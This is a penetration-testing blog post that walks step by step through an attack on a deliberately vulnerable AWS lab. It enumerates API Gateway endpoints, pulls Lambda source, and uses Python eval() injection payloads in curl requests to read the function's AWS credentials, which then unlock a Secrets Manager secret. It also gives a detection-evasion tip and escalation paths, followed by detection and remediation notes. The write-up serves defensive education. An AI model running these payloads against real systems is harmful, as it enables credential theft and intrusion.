
Over the past year, GuidePoint’s Threat and Attack Simulation (TAS) team has assessed client environments of every size and the same lesson keeps repeating: the deeper a company goes into the cloud, the more room it creates for misconfigurations that lead to significant exposure.
TL;DR – Unauthenticated Amazon Web Services Application Programming Interface (AWS API) Gateway endpoints backed by over-premissioned Lambda functions create a repeatable attack chain from a single HTTP request to credential extraction with no AWS credentials required.
Key Takeaways:
Organizations are deploying countless Lambda functions behind API Gateway endpoints, providing both flexibility and speed in feature delivery. The problem is, many of the internal components of this architecture default to insecure configurations that propagate across rapidly growing environments. The result is an environment where misconfigurations can quietly exist across dozens of functions and endpoints, often going undetected until they are actively exploited.
To understand the attack surface, it helps to first understand the key components of this architecture and how they interact:
AWS Lambda
AWS Lambda is a serverless compute service. You upload a function (Python, Node, Java, Go, etc.) and AWS runs it on demand without you managing any underlying servers. Three properties matter offensively:
API Gateway
API Gateway is AWS’s managed service for exposing HTTP endpoints. It sits in front of your backend and routes incoming requests to Lambda functions. There are two common types you will see with Lambda functions.
Type | Description |
|---|---|
REST API (v1) | The original, most feature-rich type. Supports per-method authorization, request validation, usage plans and API keys. |
HTTP API (v2) | Newer, cheaper, lower latency. Supports JWT and Lambda authorizers. Simpler to configure. |
URL Structure
Every API Gateway endpoint follows a predictable URL pattern.
https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource> Component | Description |
|---|---|
| <api-id> | 10-character alphanumeric identifier assigned at creation |
| <region> | AWS region |
| <stage> | Named deployment environment, e.g. prod, staging, dev, v1 |
| <resource> | Path defined in the API |
Authorization Types
AWS does not enforce authentication on API Gateway by default. When a new method is created, authorizationType is NONE unless they explicitly configure otherwise. There is no account-level policy that requires auth on all APIs and no SCP that blocks deployment of unauthenticated methods by default. The responsibility is entirely on the developer.
Each method (GET, POST, etc.) on each resource path has an authorizationType setting. The options are shown below. NONE is the default and is the setting that makes everything in this post possible.
authorizationType | What It Means |
|---|---|
| NONE | No authentication required — anyone who can reach the endpoint can invoke it |
| AWS_IAM | Caller must sign the request with valid AWS credentials (SigV4) |
| COGNITO_USER_POOLS | Caller must present a valid Cognito JWT |
| CUSTOM | A Lambda authorizer validates the request token |
The GuidePoint Security TAS team performed the following walkthrough against an intentionally vulnerable lab environment built to replicate commonly observed cloud misconfigurations including missing authentication controls, insecure lambda coding design and overly scoped AWS IAM permissions. All commands were executed with a ReadOnly IAM role for enumeration, transitioning to unauthenticated HTTP requests for exploitation.
Using the AWS CLI with ReadOnly credentials, we query API Gateway to list every REST API deployed in the us-east-1 region. A regional endpoint means the API is served directly from a single AWS region rather than through CloudFront, which is relevant for understanding the attack surface but does not affect exploitability here.
# aws apigateway get-rest-apis \
--region us-east-1 \
--query 'items[*].{ID:id,Name:name,Type:endpointConfiguration.types[0]}' \
--output table
----------------------------------------------
| GetRestApis |
+-------------+-----------------+------------+
| ID | Name | Type |
+-------------+-----------------+------------+
| 7793fgpqri | vuln-lab-api | REGIONAL |
----------------------------------------------
In API Gateway, a stage represents a named snapshot of a deployed API such as dev, staging or prod. Each stage has its own URL and can have its own configuration, throttling settings and logging behavior. Using the API ID we discovered in Step 1, we query for all deployed stages. The output includes the stage name and the last time the stage was updated, which can give useful context about how recently the API was touched. In this example the active stage is prod, but it is worth noting that lower environments such as dev or staging are frequently configured with even fewer restrictions, making them attractive targets in their own right. Regardless of the stage name, any deployment carrying these misconfigurations is equally exploitable.
# aws apigateway get-stages \
--rest-api-id 7793fgpqri \
--region us-east-1 \
--query 'item[*].{Stage:stageName,LastDeploy:lastUpdatedDate}' \
--output table
----------------------------------------
| GetStages |
+-----------------------------+--------+
| LastDeploy | Stage |
+-----------------------------+--------+
| 2026-07-17T18:49:19+00:00 | prod |
+-----------------------------+--------+
Now that we know the API exists and is live, we need to understand what URL paths it exposes and whether any of them require authentication. In API Gateway, a resource is a URL path and each resource can have one or more HTTP methods (GET, POST, etc.) attached to it. Each method has its own authorization settings, which is where misconfigurations most commonly appear. To enumerate this, we first will start by enumerating all resource paths and loop through each identified resource to check authentication type, API key requirements and backend integration.
# for resource_id in $(aws apigateway get-resources \
--rest-api-id 7793fgpqri \
--region us-east-1 \
--query 'items[?resourceMethods].id' \
--output text); do
aws apigateway get-method \
--rest-api-id 7793fgpqri \
--resource-id $resource_id \
--http-method GET \
--region us-east-1 \
--query '{Auth:authorizationType,KeyRequired:apiKeyRequired,Backend:methodIntegration.uri}' \
--output table 2>/dev/null
done
+------+---------------------------------------------------------------+--------------+
| Auth | Backend | KeyRequired |
+------+---------------------------------------------------------------+--------------+
| NONE| ...function:vuln-lab-get-user-data/invocations | False |
+------+---------------------------------------------------------------+--------------+
+------+---------------------------------------------------------------+--------------+
| NONE| ...function:vuln-lab-process-report/invocations | False |
+------+---------------------------------------------------------------+--------------+
+------+---------------------------------------------------------------+--------------+
| NONE| ...function:vuln-lab-search-records/invocations | False |
+------+---------------------------------------------------------------+--------------+
Knowing that the endpoints are unauthenticated is significant, but the real question is whether these endpoints process user-supplied input in an unsafe way. AWS Lambda allows you to retrieve the actual deployment package for any function using the get-function call which is included in a standard ReadOnly account. This returns a pre-signed S3 URL pointing directly to the ZIP file containing the function’s source code.
# aws lambda get-function \
--function-name vuln-lab-get-user-data \
--region us-east-1 \
--query 'Code.Location' \
--output text
https://prod-tasks.s3.us-east-1.amazonaws.com/snapshots//vuln-lab-get-user-data-
We download the ZIP file using the pre-signed URL and extract its contents.
# curl -s "" -o function.zip
# unzip -p function.zip index.py
With the source code in hand, we can review exactly what the Lambda function does with the input it receives. Review of the Lambda source code reveals user-supplied input passed directly to Python's eval() with no sanitization.
# cat index.py
def handler(event, context):
params = event.get('queryStringParameters') or {}
user_input = params.get('user', 'admin')
try:
result = eval(user_input) # <-- vulnerability
return {
'statusCode': 200,
'body': json.dumps({
'endpoint': 'get-user-data',
'user': user_input,
'result': str(result)
})
}
Now that we have identified all four components of the API Gateway URL structure with the REST API ID (7793fgpqri), the region (us-east-1), the stage (prod) and the resource path (/vulnerable/get-data), we can construct the full endpoint URL. From this point forward, no AWS credentials are needed. All exploitation happens through plain HTTP requests to the public, unauthenticated endpoint at https://7793fgpqri.execute-api.us-east-1.amazonaws.com/prod/vulnerable/get-data.
When AWS Lambda executes a function, it automatically injects temporary IAM credentials into the function’s environment as standard environment variables: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN. These credentials belong to the execution role, which defines what AWS services and resources the function is permitted to access. If we can read those environment variables, we can impersonate that role entirely. Because the user parameter is passed to eval(), we can craft payloads that use Python’s __import__ function to load the os module and read environment variables directly. All three credential components are returned in the HTTP response body.
# curl -s -G "https://7793fgpqri.execute-api.us-east-1.amazonaws.com/prod/vulnerable/get-data" \
--data-urlencode "user=__import__('os').environ['AWS_ACCESS_KEY_ID']"
{"endpoint": "get-user-data", "user": "__import__('os').environ['AWS_ACCESS_KEY_ID']", "result": "ASIA"}
# curl -s -G "https://7793fgpqri.execute-api.us-east-1.amazonaws.com/prod/vulnerable/get-data" \
--data-urlencode "user=__import__('os').environ['AWS_SECRET_ACCESS_KEY']"
{"endpoint": "get-user-data", "user": "__import__('os').environ['AWS_SECRET_ACCESS_KEY']", "result": "5ZGr"}
# curl -s -G "https://7793fgpqri.execute-api.us-east-1.amazonaws.com/prod/vulnerable/get-data" \
--data-urlencode "user=__import__('os').environ['AWS_SESSION_TOKEN']"
{"endpoint": "get-user-data", "user": "__import__('os').environ['AWS_SESSION_TOKEN']", "result": "IQoJb"}
We export the three credential values as environment variables, which causes the AWS CLI to automatically use them for all subsequent requests. We then call the AWS CLI command, sts get-caller-identity, which returns information about the IAM principal that we are currently authenticated as.
# export AWS_ACCESS_KEY_ID=
# export AWS_SECRET_ACCESS_KEY=
# export AWS_SESSION_TOKEN=
# aws sts get-caller-identity
{
"UserId": ":vuln-lab-get-user-data",
"Account": "",
"Arn": "arn:aws:sts:::assumed-role/vuln-lab-lambda-execution-role/vuln-lab-get-user-data"
}
With a valid AWS session tied to the Lambda execution role, we can now make authenticated calls to any AWS service that role is permitted to access. AWS Secrets Manager is a common target in this scenario as it is the service most organizations use to store sensitive credentials like database passwords, API keys and connection strings and Lambda functions are frequently granted access to it so they can retrieve what they need at runtime.
We call get-secret-value against a secret named vuln-lab/database/master to identify credentials.
# aws secretsmanager get-secret-value \
--secret-id vuln-lab/database/master \
--region us-east-1
{
"ARN": "arn:aws:secretsmanager:us-east-1::secret:vuln-lab/database/master-fbQq6G",
"Name": "vuln-lab/database/master",
"SecretString": "{\"username\":\"dbadmin\",\"password\":\"SuperSecret123!\",\"host\":\"prod-db.internal\",\"port\":5432,\"db\":\"appdb\"}"
}
While this walkthrough used a ReadOnly IAM role for the enumeration phase, it is important to recognize that the credentials were never a hard requirement for exploitation. The enumeration steps simply allowed us to map the attack surface more efficiently. In practice, if a single API endpoint URL were exposed through a leaked configuration file, a public GitHub repository or a JavaScript file served by a web application, an attacker with no AWS credentials whatsoever could skip directly to Step 6 and begin injecting payloads against the unauthenticated endpoint.
It is also worth noting that this walkthrough focused specifically on Python’s eval() function as the injection point, but this represents just one example of a much broader class of vulnerabilities. Code injection can manifest in dozens of ways depending on the language and framework in use, but the end goal in a cloud environment is often the same, reading the execution environment’s credential variables. The underlying principle is the same in every case, where user-supplied input is being processed by the application in a way that allows it to be interpreted as code rather than data. This pattern, combined with an unauthenticated API endpoint and an over-permissioned execution role, creates the same chain of compromise demonstrated here.
The attack chain demonstrated here ends with execution role credentials and access to whatever that role can reach, but depending on the permissions attached to that role, the impact can extend well beyond retrieving a database secret. If the execution role carries iam:PassRole alongside lambda:CreateFunction or lambda:UpdateFunctionConfiguration, an attacker can attach a higher-privileged role to a Lambda function and use it to escalate to full account control. If the role has broad IAM permissions or an attached AdministratorAccess policy, the extracted credentials provide unrestricted access to every resource in the account. Even without elevated IAM permissions, lambda:UpdateFunctionCode allows an attacker to replace the code of any Lambda function in the account, providing persistence that survives a patch of the original vulnerability. These are just a few examples of how the chain can grow; however, the true scope of what is possible is entirely dependent on how the environment is configured and no two environments look the same.
Operating against Lambda-backed API Gateway endpoints generates several distinct log streams and the misconfigurations that enabled this attack chain are all addressable. The following covers both how this activity would appear to a defender and what should be done to prevent it.
This attack chain is the product of three distinct misconfigurations stacked on top of each other and resolving any one of them breaks the chain entirely.
Every Lambda invocation generates a log entry by default in /aws/lambda/<function-name>. Any payload that gets passed to the lambda function will be logged here. Anomalous invocation patterns will trigger alerts if the client has GuardDuty or a SIEM ingesting CloudWatch. The presence of a X-Amzn-Trace-Id header in response means that X-Ray tracing is active and detailed execution traces are being captured.
API Gateway access logging is not enabled by default; however, when opted in, it captures source IP, user agent, request path, HTTP method, response code and latency. Custom domain names in front of API Gateway may have additional WAF logging.
Every AWS API call made with extracted execution role credentials is logged in CloudTrail with source IP, user agent, timestamp and request parameters. Calling secretsmanager:GetSecretValue or s3:GetObject from a residential IP in a different country is an immediate high confidence alert. Using these extracted credentials from infrastructure that matches the expected call patterns such as another Lambda or an EC2 instance in the same VPC could help to obfuscate your traffic.
Depending on the functionality of the Lambda function and expected usages, CloudWatch alarms may trigger alerts if, for example, a function normally receives 10 requests per day but spikes to 10,000 on the day. These alerts may lead to throttling of invocations by a SOC team.
GuardDuty has specific findings relevant to this attack chain:
Every step in this attack chain used either standard AWS CLI commands or unauthenticated HTTP requests. The entire path, from discovering an API Gateway endpoint to extracting execution role credentials and accessing Secrets Manager, runs on defaults and misconfigurations that exist across production environments right now.
That's the uncomfortable reality of serverless security. The architecture removes the many infrastructure security concerns, but the identity layer, permissions model and application logic all carry their own risk of exposure. When those exposures stack, a single URL becomes the entry point to an organization's most sensitive resources.
GuidePoint's Cloud Penetration Testing services help find the risks in your cloud environment before an attacker can use them as entry points. Schedule an assessment and find out what's reachable from the outside in.
Security Consultant
GuidePoint Security

